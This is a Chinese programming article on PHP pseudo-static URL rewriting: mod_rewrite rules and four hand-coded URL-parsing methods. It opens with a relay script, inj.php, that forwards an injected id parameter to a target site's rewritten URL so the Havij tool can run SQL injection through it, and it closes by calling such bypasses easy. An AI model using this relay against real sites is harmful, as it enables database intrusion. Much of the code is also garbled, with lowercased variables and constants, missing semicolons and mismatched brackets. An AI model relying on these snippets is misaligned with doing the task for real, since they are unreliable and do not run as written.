欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  IT编程

PHP 伪静态技术原理以及突破原理实现介绍

程序员文章站 2023-11-30 16:45:46
先说实现方法: inj.php: 复制代码 代码如下:
先说实现方法:
inj.php:
复制代码 代码如下:

<?php
set_time_limit(10);
$id=$_get["id"];
$id=str_replace(" ","%20",$id);
$id=str_replace("=","%3d",$id);
$url="http://www.xxx.com/index.php/library/more/id/$id.html";
$ch=curl_init();
curl_setopt($ch,curlopt_url,"$url");
curl_setopt($ch,curlopt_returntransfer,1);//启用时将curl_init()获取的信息以文件流的形式返回,而不是直接输出
curl_setopt($ch,curlopt_header,0);//启用时会将头文件的信息作为数据流输出
$output=curl_exec($ch);
curl_close($ch);
print_r($output);
?>

用wamp搭建一个服务器,把上面inj.php放到wamp/www/中,然后在havij中跑 http://127.0.0.1/inj.php?id=1
=============================
php伪静态实现方法一(利用apache 服务器的功能)
1、检查apache是否支持mod_rewrite
2、让apache 支持.htaccess
3、建立.htaccess文件
4、规则:
rewriteengine on
rewriterule ([a-za-z]{1,})-([0-9]{1,}).html$index.php?action=$1&id=$2
([a-za-z]{1,})-([0-9]{1,}) 是 url长啥样
$1 是([a-za-z]{1,}) 所匹配的
$2 是[0-9]{1,} 所匹配的
比如说:www.xx.com/page-18.html
真实的url如下:
action = page
id = 18
============================
php伪静态实现方法二(编码实现)
$php2html_fileurl = $_server["request_uri"]
echo $php2html_fileurl
例子:// localhost/php100/test.php?id|1@action|2
复制代码 代码如下:

$php2html_urlstring = str_replace("?","",str_replace("/","",strrchr(strrchr($php2html_fileurl,"/"),"?")) ))
/*
内层的strrchr出来:/test.php?id|1@action|2
外层的strrchr出来:id|1@action|2
内层的str_replace出来:把 / 号去掉,本例子 没有
外层的str_replace出来:把 ?号去掉,本例子 没有
*/
$php2html_urlquerystrlist = explode("@",$php2html_urlstring);
/*把str变成以@为界限划分的数组:id|1 和 action|2*/
foreach($php2html_urlquerystrlist as $php2html_urlquerystr)
{
$php2html_tmparray = explode("|",$php2html_urlquerystr);
/* id => 1 和 action => 2*/
$_get[$php2html_tmparray[0]] = $php2html_tmparray[1];
}

============================
php伪静态实现方法三(编码实现)
例子: localhost/php100/test.php/1/2
复制代码 代码如下:

$filename = basename($_server["script_name"]);
echo $_server["script_name"];
echo $filename;
if(strtolower($filename) == 'test.php'){
if(!empty($_get[id])){
$id=intval($_get[id]);
echo $id;
$action = intval($_get[action]);
echo $action;
}else{
$nav=$_server["request_uri"];
$script=$_server["srcipt_name"];
//这句话应该是把url前面那段给搞掉。。剩下 "1/2"之类的。。
$nav=ereg_replace("$script","",urldecode($nav));
echo $nav;
$vars = explode("/",$nav);
print_r($vars);
$id=intval($vars[1]);
$action=intval($vars[2]);
}
echo $id.'&'.$action;
}

============================
php伪静态实现方法四(编码实现)
复制代码 代码如下:

function mod_rewrite(){
global $_get;
$nav = $_server["request_uri"];
$script_name = $_server["script_name"]
$nav=substr(ereg_replace("$script_name"),"",urldecode($nav)),1);
$nav=preg_replace("/^.ht(m){1}(l){0,1}$/","",$nav);//去掉尾部的htm或html
$vars=explode("/",$nav);
print_r($vars);
for($i=0;$i<count($vars);$i+=2)
{
$_get[$vars[$i]] = $vars[$i+1];
}
return $_get;
}

============================
php伪静态实现方法五(编码实现)
例子:/1,100,8630.html
复制代码 代码如下:

if(preg_match(“/\/(\d+),(\d+),(\d+)\.html/si”,$path_info,$arr_path)){
$gid =intval($arr_path[1]); //取得值1
$sid =intval($arr_path[2]); //取得值100
$softid =intval($arr_path[3]); //取得值8630
}
else
echo "path:error!";

总结下:
(1)伪静态技术比较好突破,需要自己构造中转注入页面。
(2)伪静态技术原理都很简单,就是把原来的 index.php?id=1 这种形式的url给替换成其它形式。